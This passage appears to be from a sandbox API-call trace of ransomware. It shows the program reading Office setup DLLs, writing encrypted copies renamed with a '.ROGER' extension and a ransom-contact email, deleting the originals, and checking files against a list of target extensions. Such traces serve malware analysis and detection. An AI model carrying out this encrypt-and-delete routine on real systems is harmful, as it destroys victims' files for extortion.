Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0062.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.054] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.054] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0062.054] GetLastError () returned 0x0 [0062.054] ReadFile (in: hFile=0x3a0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x3b78, lpOverlapped=0x0) returned 1 [0062.056] WriteFile (in: hFile=0x3ac, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x3b80, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x3b80, lpOverlapped=0x0) returned 1 [0062.057] ReadFile (in: hFile=0x3a0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.057] WriteFile (in: hFile=0x3ac, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.057] SetEndOfFile (hFile=0x3ac) returned 1 [0062.057] CloseHandle (hObject=0x3ac) returned 1 [0062.057] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.057] SetEndOfFile (hFile=0x3a0) returned 1 [0062.058] CloseHandle (hObject=0x3a0) returned 1 [0062.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0062.058] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 1 [0062.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0062.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0062.058] lstrlenW (lpString=".doc") returned 4 [0062.058] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.058] lstrlenW (lpString=".docx") returned 5 [0062.058] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0062.058] lstrlenW (lpString=".pdf") returned 4 [0062.058] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.058] lstrlenW (lpString=".xls") returned 4 [0062.059] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.059] lstrlenW (lpString=".xlsx") returned 5 [0062.059] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0062.059] lstrlenW (lpString=".ppt") returned 4 [0062.059] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0062.059] lstrlenW (lpString=".zip") returned 4 [0062.059] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.059] lstrlenW (lpString=".rar") returned 4 [0062.059] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.059] lstrlenW (lpString=".bz2") returned 4 [0062.059] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.059] lstrlenW (lpString=".7z") returned 3 [0062.059] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0062.059] lstrlenW (lpString=".dbf") returned 4 [0062.059] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0062.059] lstrlenW (lpString=".1cd") returned 4 [0062.059] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0062.059] lstrlenW (lpString=".jpg") returned 4 [0062.059] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0062.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0062.059] lstrlenW (lpString=".doc") returned 4 [0062.059] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.059] lstrlenW (lpString=".docx") returned 5 [0062.059] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0062.059] lstrlenW (lpString=".pdf") returned 4 [0062.059] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.059] lstrlenW (lpString=".xls") returned 4 [0062.059] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.059] lstrlenW (lpString=".xlsx") returned 5 [0062.059] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0062.059] lstrlenW (lpString=".ppt") returned 4 [0062.060] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0062.060] lstrlenW (lpString=".zip") returned 4 [0062.060] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.060] lstrlenW (lpString=".rar") returned 4 [0062.060] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.060] lstrlenW (lpString=".bz2") returned 4 [0062.060] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.060] lstrlenW (lpString=".7z") returned 3 [0062.060] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0062.060] lstrlenW (lpString=".dbf") returned 4 [0062.060] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0062.060] lstrlenW (lpString=".1cd") returned 4 [0062.060] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0062.060] lstrlenW (lpString=".jpg") returned 4 [0062.060] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.060] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0062.060] lstrlenW (lpString="OSETUPUI.DLL") returned 12 [0062.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.946] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=191872) returned 1 [0062.946] CloseHandle (hObject=0x334) returned 1 [0062.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 0x20 [0062.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0062.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.947] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.947] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.947] GetLastError () returned 0x0 [0062.947] ReadFile (in: hFile=0x334, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0062.952] WriteFile (in: hFile=0x3a0, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0062.955] ReadFile (in: hFile=0x334, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.955] WriteFile (in: hFile=0x3a0, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.956] SetEndOfFile (hFile=0x3a0) returned 1 [0062.956] CloseHandle (hObject=0x3a0) returned 1 [0062.956] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.956] SetEndOfFile (hFile=0x334) returned 1 [0062.958] CloseHandle (hObject=0x334) returned 1 [0062.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0062.958] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 1 [0062.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0062.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0062.958] lstrlenW (lpString=".doc") returned 4 [0062.958] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.958] lstrlenW (lpString=".docx") returned 5 [0062.958] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0062.958] lstrlenW (lpString=".pdf") returned 4 [0062.958] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.958] lstrlenW (lpString=".xls") returned 4 [0062.958] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.958] lstrlenW (lpString=".xlsx") returned 5 [0062.958] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0062.958] lstrlenW (lpString=".ppt") returned 4 [0062.958] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0062.959] lstrlenW (lpString=".zip") returned 4 [0062.959] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.959] lstrlenW (lpString=".rar") returned 4 [0062.959] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.959] lstrlenW (lpString=".bz2") returned 4 [0062.959] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.959] lstrlenW (lpString=".7z") returned 3 [0062.959] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0062.959] lstrlenW (lpString=".dbf") returned 4 [0062.959] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0062.959] lstrlenW (lpString=".1cd") returned 4 [0062.959] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0062.959] lstrlenW (lpString=".jpg") returned 4 [0062.959] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0062.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0062.959] lstrlenW (lpString=".doc") returned 4 [0062.959] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.959] lstrlenW (lpString=".docx") returned 5 [0062.959] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0062.959] lstrlenW (lpString=".pdf") returned 4 [0062.959] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.959] lstrlenW (lpString=".xls") returned 4 [0062.959] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.959] lstrlenW (lpString=".xlsx") returned 5 [0062.959] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0062.959] lstrlenW (lpString=".ppt") returned 4 [0062.959] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0062.959] lstrlenW (lpString=".zip") returned 4 [0062.959] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.959] lstrlenW (lpString=".rar") returned 4 [0062.960] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.960] lstrlenW (lpString=".bz2") returned 4 [0062.960] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.960] lstrlenW (lpString=".7z") returned 3 [0062.960] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0062.960] lstrlenW (lpString=".dbf") returned 4 [0062.960] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0062.960] lstrlenW (lpString=".1cd") returned 4 [0062.960] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0062.960] lstrlenW (lpString=".jpg") returned 4 [0062.960] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.960] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0062.960] lstrlenW (lpString="pidgenx.dll") returned 11 [0062.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.961] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=1463568) returned 1 [0062.961] CloseHandle (hObject=0x334) returned 1 [0062.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 0x20 [0062.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0062.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.961] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.961] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.962] GetLastError () returned 0x0 [0062.962] ReadFile (in: hFile=0x334, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0062.985] WriteFile (in: hFile=0x3a0, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0063.403] ReadFile (in: hFile=0x334, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x65520, lpOverlapped=0x0) returned 1 [0063.418] WriteFile (in: hFile=0x3a0, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0063.426] ReadFile (in: hFile=0x334, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0063.426] WriteFile (in: hFile=0x3a0, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0063.426] SetEndOfFile (hFile=0x3a0) returned 1 [0063.426] CloseHandle (hObject=0x3a0) returned 1 [0063.427] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.427] SetEndOfFile (hFile=0x334) returned 1 [0063.430] CloseHandle (hObject=0x334) returned 1 [0063.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0063.431] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 1 [0063.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0063.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0063.431] lstrlenW (lpString=".doc") returned 4 [0063.431] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.431] lstrlenW (lpString=".docx") returned 5 [0063.431] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0063.431] lstrlenW (lpString=".pdf") returned 4 [0063.431] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.431] lstrlenW (lpString=".xls") returned 4 [0063.431] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.431] lstrlenW (lpString=".xlsx") returned 5 [0063.431] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0063.431] lstrlenW (lpString=".ppt") returned 4 [0063.431] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0063.431] lstrlenW (lpString=".zip") returned 4 [0063.431] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.431] lstrlenW (lpString=".rar") returned 4 [0063.431] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.431] lstrlenW (lpString=".bz2") returned 4 [0063.431] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.431] lstrlenW (lpString=".7z") returned 3 [0063.431] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0063.431] lstrlenW (lpString=".dbf") returned 4 [0063.432] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0063.432] lstrlenW (lpString=".1cd") returned 4 [0063.432] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0063.432] lstrlenW (lpString=".jpg") returned 4 [0063.432] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0063.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0063.432] lstrlenW (lpString=".doc") returned 4 [0063.432] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.432] lstrlenW (lpString=".docx") returned 5 [0063.432] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0063.432] lstrlenW (lpString=".pdf") returned 4 [0063.432] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.432] lstrlenW (lpString=".xls") returned 4 [0063.432] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.432] lstrlenW (lpString=".xlsx") returned 5 [0063.432] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0063.432] lstrlenW (lpString=".ppt") returned 4 [0063.432] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0063.432] lstrlenW (lpString=".zip") returned 4 [0063.432] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.432] lstrlenW (lpString=".rar") returned 4 [0063.432] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.432] lstrlenW (lpString=".bz2") returned 4 [0063.432] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.432] lstrlenW (lpString=".7z") returned 3 [0063.432] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0063.432] lstrlenW (lpString=".dbf") returned 4 [0063.432] 